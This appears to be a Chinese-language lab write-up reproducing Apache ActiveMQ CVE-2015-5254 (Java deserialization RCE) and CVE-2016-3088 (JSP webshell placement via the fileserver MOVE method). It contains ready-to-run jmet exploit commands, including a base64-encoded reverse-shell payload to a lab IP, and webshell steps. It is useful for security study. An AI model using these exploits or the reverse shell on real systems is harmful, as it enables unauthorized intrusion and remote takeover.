ActiveMQ系列CVE复现与原理分析
ActiveMQ是一种基于开源JMS(Java Message Servie)规范的一种消息中间件的实现
ActiveMQ的设计目标是提供标准的,面向消息的,能够跨多语言多系统的应用集成消息通信中间件
CVE-2015-5254
漏洞成因
Apache ActiveMQ 该程序引起的漏洞不限制代理中可以序列化的类。
远程攻击者可以制作一个特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象,利用该漏洞执行任意代码。
漏洞原理
● 背景条件
a. 消息类型支持:ActiveMQ 支持 ObjectMessage 类型消息,允许传输 Java 序列化对象。
b. 协议与端口:默认开放 61616 端口(OpenWire 协议)接收序列化消息,8161 端口为 Web 管理页面。
c. 危险依赖:服务端依赖存在反序列化利用链的库(如 Apache Commons Collections 3.1-3.2.1),其中 InvokerTransformer 类允许通过反射执行任意方法。
● 漏洞触发流程
a. 消息接收:消费者从队列中获取 ObjectMessage 消息。
b. 反序列化:调用 ObjectMessage.getObject() 时,使用ClassLoadingAwareObjectInputStream 解析消息内容。
c. 恶意类加载:未校验类名,直接加载攻击者构造的危险类(如 InvokerTransformer)。
d. RCE 触发:通过 Commons Collections 的 Gadget 链反射调用 Runtime.exec(),执行任意命令
影响版本
Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0
复现过程
靶机
首先docker拉取ActiveMQ CVE-2015-5254

访问自身8161端口
web管理页面 默认密码 admin/admin

攻击机
利用jemt.jar生成特定反序列化数据连接到靶机61616端口
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.203.132 61616
kali的jdk默认为jdk21在直接使用jmet-0.1.0-all.jar会存在一些包无法访问
这里本想安装jdk8,当时由于kali是debin的滚动发行版,jkd8早已被移除
那么我们另辟蹊径,利用--add-opens来开放对应包的访问
java --add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
-jar jmet-0.1.0-all.jar \
-Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.203.132 61616
之后点击对应的消息。触发命令执行
这里由于不是真实环境,所以只能点击触发,正常环境下,会自动触发

那么进行反弹shell操作,进行了base64
java --add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
-jar jmet-0.1.0-all.jar \
-Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMy4xMzMvMTIzIDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.203.132 61616
监听123端口
之后利用相同的方式触发

CVE-2016-3088
/fileserver接口允许写入文件,但没有执行权限
但可用MOVE方法加上/admin/admin/test/systemProperties.jsp泄露的绝对路径
利用Destination:file:///opt/activemq/webapps/api/hack.jsp
移动可访问和执行的目录下,造成任意文件上传
影响版本
Apache ActiveMQ 5.x~5.14.0
复现过程
利用方式需要登录后台,首先登录之后访问/admin/test/systemProperties.jsp
得到绝对路径/opt/activemq

使用MOVE和Destination:file:///opt/activemq/webapps/api/hack.jsp移动到api目录,返回204代表成功了

之后携带Cookie和Authorization访问对应文件执行命令

第二种方法
这种方法不用登录,但当时我已经把环境关了,这个是查看别人文章发现的,有兴趣可以试一试

遇到的问题
原本一直使用PUT方法和Destination上传文件,
但是访问不到,后面才明白要用MOVE
本来用命令行访问,但返回401之后用bp,携带了cookie和autor才成功

温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。
涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。
如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。
